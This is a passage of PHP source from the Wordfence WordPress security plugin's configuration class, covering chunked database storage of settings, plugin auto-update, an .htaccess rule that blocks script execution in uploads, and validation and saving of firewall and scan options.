					unset($serialized);
					if ($cache) {
						self::updateCachedOption($key, unserialize($inflated));
						return self::getCachedOption($key);
					}
					return unserialize($inflated);
				}
			}
			if ($cache) {
				self::updateCachedOption($key, unserialize($serialized));
				return self::getCachedOption($key);
			}
			return unserialize($serialized);
		}
		else {
			$serialized = self::getDB()->querySingle("select val from " . self::table() . " where name=%s", $key);
			self::getDB()->flush(); //clear cache
			if ($serialized) {
				if (self::canCompressValue() && self::isCompressedValue($serialized)) {
					$inflated = @gzdecode($serialized);
					if ($inflated !== false) {
						unset($serialized);
						return unserialize($inflated);
					}
				}
				if ($cache) {
					self::updateCachedOption($key, unserialize($serialized));
					return self::getCachedOption($key);
				}
				return unserialize($serialized);
			}
		}
		
		return $default;
	}
	
	public static function set_ser($key, $val, $allowCompression = false, $autoload = self::AUTOLOAD) {
		/*
		 * Because of the small default value for `max_allowed_packet` and `max_long_data_size`, we're stuck splitting
		 * large values into multiple chunks. To minimize memory use, the MySQLi driver is used directly when possible.
		 */
		
		global $wpdb;
		$dbh = $wpdb->dbh;
		$useMySQLi = wfUtils::useMySQLi();
		
		if (!self::$tableExists) {
			return;
		}
		
		self::_handleActionHooks($key, $val);
		
		self::delete_ser_chunked($key); //Ensure any old values for a chunked value are deleted first
		
		if (self::canCompressValue() && $allowCompression) {
			$data = gzencode(serialize($val));
		}
		else {
			$data = serialize($val);
		}
		
		if (!$useMySQLi) {
			$data = bin2hex($data);
		}
		
		$dataLength = strlen($data);
		$maxAllowedPacketBytes = self::getDB()->getMaxAllowedPacketBytes();
		$chunkSize = intval((($maxAllowedPacketBytes < 1024 /* MySQL minimum, probably failure to fetch it */ ? 1024 * 1024 /* MySQL default */ : $maxAllowedPacketBytes) - 50) / 1.2); //Based on max_allowed_packet + 20% for escaping and SQL
		$chunkSize = $chunkSize - ($chunkSize % 2); //Ensure it's even
		$chunkedValueKey = self::ser_chunked_key($key);
		if ($dataLength > $chunkSize) {
			$chunks = 0;
			while (($chunks * $chunkSize) < $dataLength) {
				$dataChunk = substr($data, $chunks * $chunkSize, $chunkSize);
				if ($useMySQLi) {
					$chunkKey = $chunkedValueKey . $chunks;
					$stmt = $dbh->prepare("INSERT IGNORE INTO " . self::table() . " (name, val, autoload) VALUES (?, ?, 'no')");
					if ($stmt === false) {
						wordfence::status(2, 'error', sprintf(
						/* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */
							__('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error));
						return false;
					}
					$null = NULL;
					$stmt->bind_param("sb", $chunkKey, $null);
					
					if (!$stmt->send_long_data(1, $dataChunk)) {
						wordfence::status(2, 'error', sprintf(
						/* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */
							__('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error));
						return false;
					}
					
					if (!$stmt->execute()) {
						wordfence::status(2, 'error', sprintf(
						/* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */
							__('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error));
						return false;
					}
				}
				else {
					if (!self::getDB()->queryWrite(sprintf("insert ignore into " . self::table() . " (name, val, autoload) values (%%s, X'%s', 'no')", $dataChunk), $chunkedValueKey . $chunks)) {
						if ($useMySQLi) {
							$errno = mysqli_errno($wpdb->dbh);
							wordfence::status(2, 'error', sprintf(
							/* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */
								__('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $errno, $wpdb->last_error));
						}
						else if (function_exists('mysql_errno')) {
							// phpcs:ignore PHPCompatibility.Extensions.RemovedExtensions.mysql_DeprecatedRemoved
							$errno = mysql_errno($wpdb->dbh);
							wordfence::status(2, 'error', sprintf(
							/* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */
								__('Error writing value chunk for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $errno, $wpdb->last_error));
						}
						
						return false;
					}
				}
				$chunks++;
			}
			
			if (!self::getDB()->queryWrite(sprintf("insert ignore into " . self::table() . " (name, val, autoload) values (%%s, X'%s', 'no')", bin2hex(serialize(array('count' => $chunks)))), $chunkedValueKey . 'header')) {
				wordfence::status(2, 'error', sprintf(
				/* translators: Key in key-value store. */
					__("Error writing value header for %s", 'wordfence'), $key));
				return false;
			}
		}
		else {
			$exists = self::getDB()->querySingle("select name from " . self::table() . " where name='%s'", $key);
			
			if ($useMySQLi) {
				if ($exists) {
					$stmt = $dbh->prepare("UPDATE " . self::table() . " SET val=?, autoload=? WHERE name=?");
					if ($stmt === false) {
						wordfence::status(2, 'error', sprintf(
						/* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */
							__('Error writing value for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error));
						return false;
					}
					$null = NULL;
					$stmt->bind_param("bss", $null, $autoload, $key);
				}
				else {
					$stmt = $dbh->prepare("INSERT IGNORE INTO " . self::table() . " (val, name, autoload) VALUES (?, ?, ?)");
					if ($stmt === false) {
						wordfence::status(2, 'error', sprintf(
						/* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */
							__('Error writing value for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error));
						return false;
					}
					$null = NULL;
					$stmt->bind_param("bss", $null, $key, $autoload);
				}
				
				if (!$stmt->send_long_data(0, $data)) {
					wordfence::status(2, 'error', sprintf(
					/* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */
						__('Error writing value for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error));
					return false;
				}
				
				if (!$stmt->execute()) {
					wordfence::status(2, 'error', sprintf(
					/* translators: 1. Key in key-value store. 2. MySQL error number. 3. MySQL error message. */
					__('Error finishing writing value for %1$s (MySQLi error: [%2$s] %3$s)', 'wordfence'), $key, $dbh->errno, $dbh->error));
					return false;
				}
			}
			else {
				if ($exists) {
					self::getDB()->queryWrite(sprintf("update " . self::table() . " set val=X'%s', autoload=%%s where name=%%s", $data), $autoload, $key);
				}
				else {
					self::getDB()->queryWrite(sprintf("insert ignore into " . self::table() . " (name, val, autoload) values (%%s, X'%s', %%s)", $data), $key, $autoload);
				}
			}
		}
		self::getDB()->flush();
		
		if ($autoload != self::DONT_AUTOLOAD) {
			self::updateCachedOption($key, $val);
		}
		return true;
	}
	
	private static function delete_ser_chunked($key) {
		if (!self::$tableExists) {
			return;
		}
		
		self::removeCachedOption($key);
		
		$chunkedValueKey = self::ser_chunked_key($key);
		$header = self::getDB()->querySingle("select val from " . self::table() . " where name=%s", $chunkedValueKey . 'header');
		if (!$header) {
			return;
		}
		
		$header = unserialize($header);
		$count = $header['count'];
		for ($i = 0; $i < $count; $i++) {
			self::getDB()->queryWrite("delete from " . self::table() . " where name='%s'", $chunkedValueKey . $i);
		}
		self::getDB()->queryWrite("delete from " . self::table() . " where name='%s'", $chunkedValueKey . 'header');
	}
	public static function f($key){
		echo esc_attr(self::get($key));
	}
	public static function p() {
		return self::get('isPaid');
	}
	public static function cbp($key){
		if(self::get('isPaid') && self::get($key)){
			echo ' checked ';
		}
	}
	public static function cb($key){
		if(self::get($key)){
			echo ' checked ';
		}
	}
	public static function sel($key, $val, $isDefault = false){
		if((! self::get($key)) && $isDefault){ echo ' selected '; }
		if(self::get($key) == $val){ echo ' selected '; }
	}
	private static function getDB(){
		if(! self::$DB){ 
			self::$DB = new wfDB();
		}
		return self::$DB;
	}
	private static function table(){
		return wfDB::networkTable('wfConfig');
	}
	public static function haveAlertEmails(){
		$emails = self::getAlertEmails();
		return sizeof($emails) > 0 ? true : false;
	}
	public static function alertEmailBlacklist() {
		return array('3c4aa9bd643bd9bb9873014227151a85b24ab8d72fe02cc5799b0edc56eabb67', 'aa06081e3962a3c17a85a06ddf9e418ca1ba8fead3f9b7a20beaf51848a1fd75', 'a25a360bded101e25ebabe5643161ddbb6c3fa33838bbe9a123c2ec0cda8d370', '36e8407dfa80d64cfe42ede4d9d5ce2d4840a5e4781b5f8a7b3b8eacec86fcad', '50cf95aec25369583efdfeff9f0818b4b9266f10e140ea2b648e30202450c21b', '72a09e746cb90ff2646ba1f1d0c0f5ffed6b380642bbbf826d273fffa6ef673b');
	}
	public static function getAlertEmails() {
		$blacklist = self::alertEmailBlacklist();
		$dat = explode(',', self::get('alertEmails'));
		$emails = array();
		foreach ($dat as $email) {
			$email = strtolower(trim($email));
			if (preg_match('/\@/', $email)) {
				$hash = hash('sha256', $email);
				if (!in_array($hash, $blacklist)) {
					$emails[] = $email;
				}
			}
		}
		return $emails;
	}
	public static function getAlertLevel(){
		if (self::get('alertOn_scanIssues')) {
			return self::get('alertOn_severityLevel', 0);
		}
		return 0;
	}
	public static function liveTrafficEnabled(&$overriden = null){
		$enabled = self::get('liveTrafficEnabled');
		if (WORDFENCE_DISABLE_LIVE_TRAFFIC || WF_IS_WP_ENGINE) {
			$enabled = false;
			if ($overriden !== null) {
				$overriden = true;
			}
		}
		return $enabled;
	}
	public static function enableAutoUpdate(){
		wfConfig::set('autoUpdate', '1');
		wp_clear_scheduled_hook('wordfence_daily_autoUpdate');
		if (is_main_site()) {
			wp_schedule_event(time(), 'daily', 'wordfence_daily_autoUpdate');
		}
	}
	public static function disableAutoUpdate(){
		wfConfig::set('autoUpdate', '0');	
		wp_clear_scheduled_hook('wordfence_daily_autoUpdate');
	}
	public static function createLock($name, $timeout = null) { //Our own version of WP_Upgrader::create_lock that uses our table instead
		global $wpdb;
		
		if (!$timeout) {
			$timeout = 3600;
		}
		
		$table = self::table();
		
		$lock_option = $name . '.lock';
		$lock_result = $wpdb->query($wpdb->prepare("INSERT IGNORE INTO `$table` (`name`, `val`, `autoload`) VALUES (%s, %s, 'no')", $lock_option, time()));
		
		if (!$lock_result) {
			$lock_result = self::get($lock_option, false, false);
			if (!$lock_result) {
				return false;
			}
			
			if ($lock_result > (time() - $timeout)) {
				return false;
			}
			
			self::releaseLock($name);
			return self::createLock($name, $timeout);
		}
		
		return true;
	}
	public static function releaseLock($name) {
		self::remove($name . '.lock');
	}
	public static function autoUpdate(){
		require(dirname(__FILE__) . '/wfVersionSupport.php');
		/**
		 * @var string $wfPHPDeprecatingVersion
		 * @var string $wfPHPMinimumVersion
		 */
		if (version_compare(PHP_VERSION, $wfPHPMinimumVersion, '<')) {
			return;
		}

		// Prevent WF auto-update if the user has enabled auto-update through the plugins page.
		if (version_compare(wfUtils::getWPVersion(), '5.5-x', '>=')) {
			$autoUpdatePlugins = get_site_option('auto_update_plugins');
			if (is_array($autoUpdatePlugins) && in_array(WORDFENCE_BASENAME, $autoUpdatePlugins)) {
				return;
			}
		}

		if (!wfConfig::get('other_bypassLitespeedNoabort', false) && getenv('noabort') != '1' && stristr($_SERVER['SERVER_SOFTWARE'], 'litespeed') !== false) {
			$lastEmail = self::get('lastLiteSpdEmail', false);
			if( (! $lastEmail) || (time() - (int)$lastEmail > (86400 * 30))){
				self::set('lastLiteSpdEmail', time());
				wordfence::alert(
				/* translators: Support URL. */
				__("Wordfence Upgrade not run. Please modify your .htaccess", 'wordfence'), sprintf(__("To preserve the integrity of your website we are not running Wordfence auto-update.\n" .
					"You are running the LiteSpeed web server which has been known to cause a problem with Wordfence auto-update.\n" .
					"Please go to your website now and make a minor change to your .htaccess to fix this.\n" .
					"You can find out how to make this change at:\n" .
					"%s\n" .
					"\nAlternatively you can disable auto-update on your website to stop receiving this message and upgrade Wordfence manually.\n", 'wordfence'), wfSupportController::supportURL(wfSupportController::ITEM_DASHBOARD_OPTION_LITESPEED_WARNING)),
					false
				);
			}
			return;
		}
		
		$runUpdate = false;
		wp_update_plugins();
		$update_plugins = get_site_transient('update_plugins');
		if ($update_plugins && is_array($update_plugins->response) && isset($update_plugins->response[WORDFENCE_BASENAME])) {
			$status = $update_plugins->response[WORDFENCE_BASENAME];
			if (is_object($status) && property_exists($status, 'new_version')) {
				$runUpdate = (version_compare($status->new_version, WORDFENCE_VERSION) > 0);
			}
		}
		
		if ($runUpdate) {
			try {
				$api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion());
				$response = $api->call('should_auto_update', array(), array('currentVersion' => WORDFENCE_VERSION));
				if (!(is_array($response) && isset($response['ok']) && wfUtils::truthyToBoolean($response['ok']))) {
					$runUpdate = false;
				}
			}
			catch (Exception $e) {
				wfConfig::inc('autoUpdateAttempts');
				$runUpdate = false;
			}
		}
		
		if (!$runUpdate && wfConfig::get('autoUpdateAttempts') < 7) {
			return;
		}
		
		try {
			require_once(ABSPATH . 'wp-admin/includes/class-wp-upgrader.php');
			require_once(ABSPATH . 'wp-admin/includes/misc.php');
			/* We were creating show_message here so that WP did not write to STDOUT. This had the strange effect of throwing an error about redeclaring show_message function, but only when a crawler hit the site and triggered the cron job. Not a human. So we're now just require'ing misc.php which does generate output, but that's OK because it is a loopback cron request.  
			if(! function_exists('show_message')){ 
				function show_message($msg = 'null'){}
			}
			*/
			if(! defined('FS_METHOD')){ 
				define('FS_METHOD', 'direct'); //May be defined already and might not be 'direct' so this could cause problems. But we were getting reports of a warning that this is already defined, so this check added. 
			}
			require_once(ABSPATH . 'wp-includes/update.php');
			require_once(ABSPATH . 'wp-admin/includes/file.php');
			
			if (!self::createLock('wfAutoUpdate')) {
				return;
			}
			
			ob_start();
			$upgrader = new Plugin_Upgrader();
			$upret = $upgrader->upgrade(WORDFENCE_BASENAME);
			if($upret){
				$cont = file_get_contents(WORDFENCE_FCPATH);
				preg_match('/Version: (\d+\.\d+\.\d+)/', $cont, $matches);
				$version = !empty($matches) ? $matches[1] : null;
				$alertCallback = array(new wfAutoUpdatedAlert($version), 'send');
				do_action('wordfence_security_event', 'autoUpdate', array(
					'version' => $version,
				), $alertCallback);

				wfConfig::set('autoUpdateAttempts', 0);
			}
			$output = @ob_get_contents();
			@ob_end_clean();
		} catch(Exception $e){}
		
		self::releaseLock('wfAutoUpdate');
	}
	
	/**
	 * .htaccess file contents to disable all script execution in a given directory.
	 */
	private static $_disable_scripts_htaccess = '# BEGIN Wordfence code execution protection
<IfModule mod_php5.c>
php_flag engine 0
</IfModule>
<IfModule mod_php7.c>
php_flag engine 0
</IfModule>
<IfModule mod_php.c>
php_flag engine 0
</IfModule>

AddHandler cgi-script .php .phtml .php3 .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI
# END Wordfence code execution protection
';
	private static $_disable_scripts_regex = '/# BEGIN Wordfence code execution protection.+?# END Wordfence code execution protection/s';
	
	private static function _uploadsHtaccessFilePath() {
		$upload_dir = wp_upload_dir();
		return $upload_dir['basedir'] . '/.htaccess';
	}

	/**
	 * Add/Merge .htaccess file in the uploads directory to prevent code execution.
	 *
	 * @return bool
	 * @throws wfConfigException
	 */
	public static function disableCodeExecutionForUploads() {
		$uploads_htaccess_file_path = self::_uploadsHtaccessFilePath();
		$uploads_htaccess_has_content = false;
		if (file_exists($uploads_htaccess_file_path)) {
			$htaccess_contents = file_get_contents($uploads_htaccess_file_path);
			
			// htaccess exists and contains our htaccess code to disable script execution, nothing more to do
			if (strpos($htaccess_contents, self::$_disable_scripts_htaccess) !== false) {
				return true;
			}
			$uploads_htaccess_has_content = strlen(trim($htaccess_contents)) > 0;
		}
		if (@file_put_contents($uploads_htaccess_file_path, ($uploads_htaccess_has_content ? "\n\n" : "") . self::$_disable_scripts_htaccess, FILE_APPEND | LOCK_EX) === false) {
			throw new wfConfigException(__("Unable to save the .htaccess file needed to disable script execution in the uploads directory. Please check your permissions on that directory.", 'wordfence'));
		}
		self::set('disableCodeExecutionUploadsPHP7Migrated', true);
		return true;
	}
	
	public static function migrateCodeExecutionForUploadsPHP7() {
		if (self::get('disableCodeExecutionUploads')) {
			if (!self::get('disableCodeExecutionUploadsPHP7Migrated')) {
				$uploads_htaccess_file_path = self::_uploadsHtaccessFilePath();
				if (file_exists($uploads_htaccess_file_path)) {
					$htaccess_contents = file_get_contents($uploads_htaccess_file_path);
					if (preg_match(self::$_disable_scripts_regex, $htaccess_contents)) {
						$htaccess_contents = preg_replace(self::$_disable_scripts_regex, self::$_disable_scripts_htaccess, $htaccess_contents); 
						@file_put_contents($uploads_htaccess_file_path, $htaccess_contents);
						self::set('disableCodeExecutionUploadsPHP7Migrated', true);
					}
				}
			}
		}
	}

	/**
	 * Remove script execution protections for our the .htaccess file in the uploads directory.
	 *
	 * @return bool
	 * @throws wfConfigException
	 */
	public static function removeCodeExecutionProtectionForUploads() {
		$uploads_htaccess_file_path = self::_uploadsHtaccessFilePath();
		if (file_exists($uploads_htaccess_file_path)) {
			$htaccess_contents = file_get_contents($uploads_htaccess_file_path);

			// Check that it is in the file
			if (preg_match(self::$_disable_scripts_regex, $htaccess_contents)) {
				$htaccess_contents = preg_replace(self::$_disable_scripts_regex, '', $htaccess_contents);

				$error_message = __("Unable to remove code execution protections applied to the .htaccess file in the uploads directory. Please check your permissions on that file.", 'wordfence');
				if (strlen(trim($htaccess_contents)) === 0) {
					// empty file, remove it
					if (!@unlink($uploads_htaccess_file_path)) {
						throw new wfConfigException($error_message);
					}

				} elseif (@file_put_contents($uploads_htaccess_file_path, $htaccess_contents, LOCK_EX) === false) {
					throw new wfConfigException($error_message);
				}
			}
		}
		return true;
	}
	
	/**
	 * Validates the array of configuration changes without applying any. All bounds checks must be performed here.
	 *
	 * @param array $changes
	 * @return bool|array Returns true if valid, otherwise a displayable error message per error encountered.
	 * @throws wfWAFStorageFileException
	 */
	public static function validate($changes) {
		$errors = array();
		$waf = wfWAF::getInstance();
		$wafConfig = $waf->getStorageEngine();
		
		foreach ($changes as $key => $value) {
			$checked = false;
			switch ($key) {
				//============ WAF
				case 'learningModeGracePeriod':
				{
					//If currently in or will be in learning mode, restrict the grace period to be in the future
					$wafStatus = (isset($changes['wafStatus']) ? $changes['wafStatus'] : $wafConfig->getConfig('wafStatus'));
					$gracePeriodEnd = strtotime($value);
					if ($wafStatus == wfFirewall::FIREWALL_MODE_LEARNING && $gracePeriodEnd <= time()) {
						$errors[] = array('option' => $key, 'error' => __('The grace period end time must be in the future.', 'wordfence'));
					}
					
					$checked = true;
					break;
				}
				case 'wafStatus':
				{
					if ($value != wfFirewall::FIREWALL_MODE_ENABLED && $value != wfFirewall::FIREWALL_MODE_LEARNING && $value != wfFirewall::FIREWALL_MODE_DISABLED) {
						$errors[] = array('option' => $key, 'error' => __('Unknown firewall mode.', 'wordfence'));
					}
					
					$checked = true;
					break;
				}
				
				//============ Plugin
				case 'alertEmails':
				{
					$dirtyEmails = !is_string($value) ? '' : $value;
					$dirtyEmails = explode(',', preg_replace('/[\r\n\s\t]+/', '', $dirtyEmails));
					$dirtyEmails = array_filter($dirtyEmails);
					$badEmails = array();
					foreach ($dirtyEmails as $email) {
						if (!wfUtils::isValidEmail($email)) {
							$badEmails[] = $email;
						}
					}
					if (count($badEmails) > 0) {
						$errors[] = array('option' => $key, 'error' => __('The following emails are invalid: ', 'wordfence') . esc_html(implode(', ', $badEmails), array()));
					}
					
					$checked = true;
					break;
				}
				case 'scan_include_extra':
				{
					$dirtyRegexes = !is_string($value) ? '' : $value;
					$dirtyRegexes = explode("\n", $dirtyRegexes);
					foreach ($dirtyRegexes as $regex) {
						if (@preg_match("/$regex/", "") === false) {
							$errors[] = array('option' => $key, 'error' => sprintf(
							/* translators: Regular expression. */
								__('"%s" is not a valid regular expression.', 'wordfence'), esc_html($regex)));
						}
					}
					$checked = true;
					break;
				}
				case 'whitelisted':
				{
					$dirtyWhitelisted = !is_string($value) ? '' : $value;
					$dirtyWhitelisted = explode(',', preg_replace('/[\r\n\s\t]+/', ',', $dirtyWhitelisted));
					$dirtyWhitelisted = array_filter($dirtyWhitelisted);
					$badWhiteIPs = array();
					$range = new wfUserIPRange();
					foreach ($dirtyWhitelisted as $whiteIP) {
						$range->setIPString($whiteIP);
						if (!$range->isValidRange()) {
							$badWhiteIPs[] = $whiteIP;
						}
					}
					if (count($badWhiteIPs) > 0) {
						$errors[] = array('option' => $key, 'error' => __('Please make sure you separate your IP addresses with commas or newlines. The following allowlisted IP addresses are invalid: ', 'wordfence') . esc_html(implode(', ', $badWhiteIPs), array()));
					}
					
					$checked = true;
					break;
				}
				case 'liveTraf_ignoreUsers':
				{
					$dirtyUsers = !is_string($value) ? '' : $value;
					$dirtyUsers = explode(',', $dirtyUsers);
					$invalidUsers = array();
					foreach ($dirtyUsers as $val) {
						$val = trim($val);
						if (strlen($val) > 0) {
							if (!get_user_by('login', $val)) {
								$invalidUsers[] = $val;
							}
						}
					}
					if (count($invalidUsers) > 0) {
						$errors[] = array('option' => $key, 'error' => __('The following users you selected to ignore in live traffic reports are not valid on this system: ', 'wordfence') . esc_html(implode(', ', $invalidUsers), array()));
					}
					
					$checked = true;
					break;
				}
				case 'liveTraf_ignoreIPs':
				{
					$dirtyIPs = !is_string($value) ? '' : $value;
					$dirtyIPs = explode(',', preg_replace('/[\r\n\s\t]+/', '', $dirtyIPs));
					$dirtyIPs = array_filter($dirtyIPs);
					$invalidIPs = array();
					foreach ($dirtyIPs as $val) {
						if (!wfUtils::isValidIP($val)) {
							$invalidIPs[] = $val;
						}
					}
					if (count($invalidIPs) > 0) {
						$errors[] = array('option' => $key, 'error' => __('The following IPs you selected to ignore in live traffic reports are not valid: ', 'wordfence') . esc_html(implode(', ', $invalidIPs), array()));
					}
					
					$checked = true;
					break;
				}
				case 'howGetIPs_trusted_proxies':
				{
					$dirtyIPs = !is_string($value) ? '' : $value;
					$dirtyIPs = preg_split('/[\r\n,]+/', $dirtyIPs);
					$dirtyIPs = array_filter($dirtyIPs);
					$invalidIPs = array();
					foreach ($dirtyIPs as $val) {
						if (!(wfUtils::isValidIP($val) || wfUtils::isValidCIDRRange($val))) {
							$invalidIPs[] = $val;
						}
					}
					if (count($invalidIPs) > 0) {
						$errors[] = array('option' => $key, 'error' => __('The following IPs/ranges you selected to trust as proxies are not valid: ', 'wordfence') . esc_html(implode(', ', $invalidIPs), array()));
					}
					
					$checked = true;
					break;
				}
				case 'howGetIPs_trusted_proxy_preset':
				{
					$presets = wfConfig::getJSON('ipResolutionList', array());
					if (!is_array($presets)) {
						$presets = array();
					}
					
					if (!(empty($value) /* "None" */ || isset($presets[$value]))) {
						$errors[] = array('option' => $key, 'error' => __('The selected trusted proxy preset is not valid: ', 'wordfence') . esc_html($value));
					}
					
					$checked = true;
					
					break;
				}
				case 'apiKey':
				{
					$value = trim($value);
					if (empty($value)) {
						$errors[] = array('option' => $key, 'error' => __('An empty license key was entered.', 'wordfence'));
					}
					else if ($value && !preg_match('/^[a-fA-F0-9]+$/', $value)) {
						$errors[] = array('option' => $key, 'error' => __('The license key entered is not in a valid format. It must contain only numbers and the letters A-F.', 'wordfence'));
					}
					
					$checked = true;
					break;
				}
				case 'scan_exclude':
				{
					$exclusionList = explode("\n", trim($value));
					foreach ($exclusionList as $exclusion) {
						$exclusion = trim($exclusion);
						if ($exclusion === '*') {
							$errors[] = array('option' => $key, 'error' => __('A wildcard cannot be used to exclude all files from the scan.', 'wordfence'));
						}
					}
					$checked = true;
					break;
				}
				case 'scan_max_resume_attempts':
				{
					$value = (int) $value;
					wfScanMonitor::validateResumeAttempts($value, $valid);
					if (!$valid)
						$errors[] = array('option' => $key, 'error' => sprintf(__('Invalid number of scan resume attempts specified: %d', 'wordfence'), $value));
					break;
				}
			}
		}
		
		if (empty($errors)) {
			return true;
		}
		return $errors;
	}
	
	public static function clean($changes) {
		$cleaned = array();
		foreach ($changes as $key => $value) {
			if (preg_match('/^whitelistedServices\.([a-z0-9]+)$/i', $key, $matches)) {
				if (!isset($cleaned['whitelistedServices']) || !is_array($cleaned['whitelistedServices'])) {
					$cleaned['whitelistedServices'] = wfConfig::getJSON('whitelistedServices', array());
				}
				
				$cleaned['whitelistedServices'][$matches[1]] = wfUtils::truthyToBoolean($value);
			}
			else {
				$cleaned[$key] = $value;
			}
		}
		return $cleaned;
	}
	
	/**
	 * Saves the array of configuration changes in the correct place. This may currently be the wfConfig table, the WAF's config file, or both. The
	 * validation function will handle all bounds checks and this will be limited to normalizing the values as needed.
	 * 
	 * @param array $changes
	 * @throws wfConfigException
	 * @throws wfWAFStorageFileException
	 */
	public static function save($changes) {
		$waf = wfWAF::getInstance();
		$wafConfig = $waf->getStorageEngine();
		
		$events = array();
		
		$apiKey = false;
		if (isset($changes['apiKey'])) { //Defer to end
			$apiKey = $changes['apiKey'];
			unset($changes['apiKey']);
		}
		
		foreach ($changes as $key => $value) {
			$saved = false;
			switch ($key) {
				//============ WAF
				case 'learningModeGracePeriod':
				{
					$wafStatus = (isset($changes['wafStatus']) ? $changes['wafStatus'] : $wafConfig->getConfig('wafStatus'));
					if ($wafStatus == wfFirewall::FIREWALL_MODE_LEARNING) {
						$dt = wfUtils::parseLocalTime($value);
						$gracePeriodEnd = $dt->format('U');
						$wafConfig->setConfig($key, $gracePeriodEnd);
					}
					
					$saved = true;
					break;
				}
				case 'learningModeGracePeriodEnabled':
				{
					$wafStatus = (isset($changes['wafStatus']) ? $changes['wafStatus'] : $wafConfig->getConfig('wafStatus'));
					if ($wafStatus == wfFirewall::FIREWALL_MODE_LEARNING) {
						$wafConfig->setConfig($key, wfUtils::truthyToInt($value));
					}
					
					$saved = true;
					break;
				}
				case 'wafStatus':
				{
					$before = $wafConfig->getConfig($key);
					$wafConfig->setConfig($key, $value);
					if ($value != wfFirewall::FIREWALL_MODE_LEARNING) {
						$wafConfig->setConfig('learningModeGracePeriodEnabled', 0);
						$wafConfig->unsetConfig('learningModeGracePeriod');
					}
					
					$firewall = new wfFirewall();
					$firewall->syncStatus(true);
					
					if ($value == wfFirewall::FIREWALL_MODE_DISABLED) {
						$currentUser = wp_get_current_user();
						$username = $currentUser->user_login;

						$alertCallback = array(new wfWafDeactivatedAlert($username, wfUtils::getIP()), 'send');
						do_action('wordfence_security_event', 'wafDeactivated', array(
							'username' => $username,
							'ip' => wfUtils::getIP(),
						), $alertCallback);
					}
					
					if ($before != $value) {
						/**
						 * Fires when the WAF mode changes.
						 *
						 * @param string $before The previous mode.
						 * @param string $after The new mode.
						 * @since 8.0.0
						 *
						 */
						do_action('wordfence_waf_mode', $before, $value);
					}
					
					$saved = true;
					break;
				}
				case 'wafRules':
				{
					$changes = array('enabled' => array(), 'disabled' => array());
					$disabledRules = (array) $wafConfig->getConfig('disabledRules');
					foreach ($value as $ruleID => $ruleEnabled) {
						$ruleID = (int) $ruleID;
						if ($ruleEnabled) {
							if (isset($disabledRules[$ruleID])) {
								$changes['enabled'][] = $ruleID;
							}
							unset($disabledRules[$ruleID]);
						}
						else {
							if (!isset($disabledRules[$ruleID])) {
								$changes['disabled'][] = $ruleID;
							}
							$disabledRules[$ruleID] = true;
						}
					}
					$wafConfig->setConfig('disabledRules', $disabledRules);
					
					if (!empty($changes['enabled']) || !empty($changes['disabled'])) {
						/**
						 * Fires when the rules are enabled or disabled for the WAF.
						 *
						 * @param array $changes {
						 *        An array containing the rule status changes.
						 *
						 * @type int[] $enabled The rules that were enabled.
						 * @type int[] $disabled The rules that were disabled.
						 * }
						 * @since 8.0.0
						 *
						 */
						do_action('wordfence_waf_changed_rule_status', $changes);
					}
					
					$saved = true;
					break;
				}
				case 'whitelistedURLParams':
				{
					$deleting = array();
					$toggling = array();
					$adding = array();
					
					$whitelistedURLParams = (array) $wafConfig->getConfig('whitelistedURLParams', null, 'livewaf');
					if (isset($value['delete'])) {
						foreach ($value['delete'] as $whitelistKey => $d) {
							if (array_key_exists($whitelistKey, $whitelistedURLParams) && is_array($whitelistedURLParams[$whitelistKey])) {
								//Start with the metadata for the rule (e.g., time created, description, etc)
								$value = isset($whitelistedURLParams[$whitelistKey]['all']) ? $whitelistedURLParams[$whitelistKey]['all'] : wfUtils::array_first($whitelistedURLParams[$whitelistKey]); //It is possible that an entry may apply to multiple rules, but the values are similar enough we can grab only one
								
								//Add the parameters
								$value['rule'] = (count($whitelistedURLParams[$whitelistKey]) > 1) ? array_keys($whitelistedURLParams[$whitelistKey]) : wfUtils::array_key_first($whitelistedURLParams[$whitelistKey]);
								$components = explode('|', $whitelistKey);
								if (count($components) >= 2) {
									$value['path'] = base64_decode($components[0]);
									$value['paramKey'] = base64_decode($components[1]);
								}
								$deleting[] = $value;
							}
							
							unset($whitelistedURLParams[$whitelistKey]);
						}
					}
					if (isset($value['enabled'])) {
						foreach ($value['enabled'] as $whitelistKey => $enabled) {
							if (array_key_exists($whitelistKey, $whitelistedURLParams) && is_array($whitelistedURLParams[$whitelistKey])) {
								foreach ($whitelistedURLParams[$whitelistKey] as $ruleID => $data) {
									$whitelistedURLParams[$whitelistKey][$ruleID]['disabled'] = !$enabled;
								}
								
								$value = isset($whitelistedURLParams[$whitelistKey]['all']) ? $whitelistedURLParams[$whitelistKey]['all'] : wfUtils::array_first($whitelistedURLParams[$whitelistKey]);
								$value['rule'] = (count($whitelistedURLParams[$whitelistKey]) > 1) ? array_keys($whitelistedURLParams[$whitelistKey]) : wfUtils::array_key_first($whitelistedURLParams[$whitelistKey]);
								$components = explode('|', $whitelistKey);
								if (count($components) >= 2) {
									$value['path'] = base64_decode($components[0]);
									$value['paramKey'] = base64_decode($components[1]);
								}
								$toggling[] = $value;
							}
						}
					}
					$wafConfig->setConfig('whitelistedURLParams', $whitelistedURLParams, 'livewaf');
					
					if (isset($value['add'])) {
						foreach ($value['add'] as $entry) {
							$path = @base64_decode($entry['path']);
